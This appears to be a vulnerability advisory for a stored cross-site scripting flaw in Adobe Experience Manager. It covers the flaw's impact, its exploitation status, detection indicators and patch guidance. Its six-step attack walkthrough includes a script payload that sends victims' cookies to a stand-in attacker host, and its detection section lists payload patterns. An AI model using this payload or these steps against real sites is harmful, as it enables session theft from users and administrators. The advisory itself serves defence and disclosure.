CVE-2025-47007: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47007 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in a victim's browser session, enabling session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential redirection to malicious sites. Both confidentiality and integrity are impacted at a low level per the CVSS scoring, with no direct availability impact. The scope is changed, meaning the impact can extend beyond the AEM application itself to affect end users' browsers and sessions (Adobe Advisory, Feedly).

There is currently no evidence of public proof-of-concept exploit code or active in-the-wild exploitation for CVE-2025-47007. The EPSS score is approximately 0.029% (very low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in page properties, forms, or content fragments) that lack proper output encoding.
4. Inject malicious payload: Submit a stored XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an AEM administrator or site visitor) to browse to the page containing the injected field, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling session hijacking or further account compromise (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, onload=).
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS queries to attacker-controlled domains originating from end-user workstations.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onmouseover) within stored AEM content nodes or JCR repository properties that are not part of legitimate page templates.
• Browser: Unexpected redirects or pop-ups experienced by users browsing AEM-hosted pages; browser developer tools showing script execution from inline or injected sources not matching the site's Content Security Policy.

Adobe has released patched versions addressing this vulnerability: AEM on-premise users should upgrade to 6.5.23.0 or later, and AEM Cloud Service users should update to 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, enforce rigorous input validation and output encoding on all user-supplied fields, and restrict content authoring privileges to trusted users only. Regularly auditing stored content for unexpected script injections is also recommended (Adobe Advisory).